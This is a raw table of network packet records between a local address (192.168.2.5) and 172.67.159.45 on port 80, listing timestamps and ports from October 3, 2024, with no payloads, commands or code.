Oct 3, 2024 05:02:57.091130972 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.091146946 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.091150045 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.091170073 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.091206074 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.092317104 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.092336893 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.092360973 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.092374086 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.092392921 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.092394114 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.092411995 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.092412949 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.092432022 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.092453003 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.092461109 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.092473030 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.092494965 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.092495918 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.092515945 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.092529058 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.092540026 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.092560053 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.092566967 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.092588902 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.092623949 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.178226948 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.178297997 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.178313971 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.178318977 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.178364992 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.178385019 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.178385019 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.178385019 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.178409100 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.178427935 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.178435087 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.178451061 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.178488970 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.178509951 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.178704023 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.178762913 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.178878069 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.178915977 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.178924084 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.178951025 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.178968906 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.178986073 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.178994894 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.179009914 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.179037094 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.179056883 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.179064035 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.179074049 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.179109097 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.179208040 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.179227114 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.179274082 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.179315090 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.179330111 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.179367065 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.179368973 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.179392099 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.179419041 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.179425955 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.179439068 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.179462910 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.179486036 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.179493904 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.179512978 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.179541111 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.179543018 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.179563046 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.179585934 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.179605961 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.179639101 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.179653883 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.179682016 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.179697037 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.179703951 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.179718971 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.179770947 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.179799080 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.179867029 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.179891109 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.179912090 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.179913998 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.179930925 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.179933071 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.179996014 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.179996014 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.180856943 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.180871010 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.180902004 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.180915117 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.180932045 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.180934906 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.180953026 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.180954933 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.180974007 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.180989981 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.181005001 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.181022882 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.181030035 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.181047916 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.181050062 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.181061983 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.181087971 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.181094885 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.181113958 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.181128979 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.181139946 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.181158066 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.181171894 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.181184053 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.181195974 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.181237936 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.181303024 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.181323051 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.181345940 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.181361914 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.181368113 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.181382895 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.181389093 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.181401968 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.181411982 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.181422949 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.181433916 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.181452036 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.181463003 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.181476116 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.181497097 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.181499004 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.181518078 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.181530952 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.181535959 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.181567907 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.181595087 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.181647062 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.181663036 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.181696892 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.181710005 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.181726933 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.181735039 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.181783915 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.181813955 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.182153940 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.182168961 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.182198048 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.182213068 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.182219982 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.182231903 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.182243109 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.182249069 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.182274103 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.182305098 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.182627916 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.182646036 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.182670116 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.182682991 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.182691097 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.182703018 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.182712078 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.182719946 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.182727098 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.182740927 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.182754040 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.182759047 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.182776928 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.182796955 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.182811022 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.182815075 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.182830095 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.182840109 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.182871103 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.182888031 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.182889938 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.182904005 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.182933092 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.182955980 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.182976007 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.182985067 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.182992935 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.183007002 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.183017015 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.183043957 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.183068991 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.183450937 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.183466911 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.183494091 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.183509111 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.183510065 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.183527946 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.183558941 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.183675051 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.183690071 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.183715105 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.183738947 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.183762074 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.183767080 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.183767080 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.183783054 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.183787107 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.183804035 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.183808088 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.183823109 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.183847904 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.183852911 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.183866978 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.183871031 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.183892012 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.183906078 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.183907986 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.183928013 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.183933020 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.183954000 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.183957100 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.184006929 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.184293032 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.184310913 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.184345007 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.184345961 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.184361935 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.184365988 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.184391975 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.184405088 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.184421062 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.184421062 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.184432030 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.184442997 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.184479952 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.270992041 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.271008968 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.271035910 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.271058083 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.271189928 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.271210909 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.271231890 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.271269083 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.271274090 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.271274090 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.271274090 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.271274090 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.271285057 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.271359921 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.271359921 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.271816969 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.271882057 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.271886110 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.271903038 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.271941900 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.271962881 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.271971941 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.271986961 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.272011042 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.272026062 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.272047997 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.272078991 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.272208929 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.272228956 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.272254944 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.272264004 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.272278070 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.272284031 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.272300959 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.272329092 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.272336960 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.272356987 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.272389889 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.272413015 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.272552013 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.272571087 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.272595882 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.272603035 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.272617102 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.272624016 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.272640944 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.272644043 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.272663116 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.272664070 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.272687912 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.272691011 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.272710085 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.272733927 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.272850990 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.272866964 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.272897959 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.272914886 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.272968054 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.273061991 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.273080111 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.273104906 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.273111105 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.273137093 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.273140907 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.273156881 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.273159027 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.273180962 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.273181915 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.273204088 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.273204088 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.273226976 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.273228884 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.273247004 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.273261070 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.273277998 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.273284912 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.273302078 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.273303032 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.273319960 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.273325920 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.273355007 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.273360968 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.273360968 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.273377895 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.273395061 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.273399115 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.273422003 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.273431063 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.273451090 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.273471117 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.273632050 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.273646116 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.273673058 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.273689032 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.273693085 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.273709059 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.273715973 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.273729086 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.273744106 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.273750067 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.273762941 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.273770094 CEST	49705	80	192.168.2.5	172.67.159.45
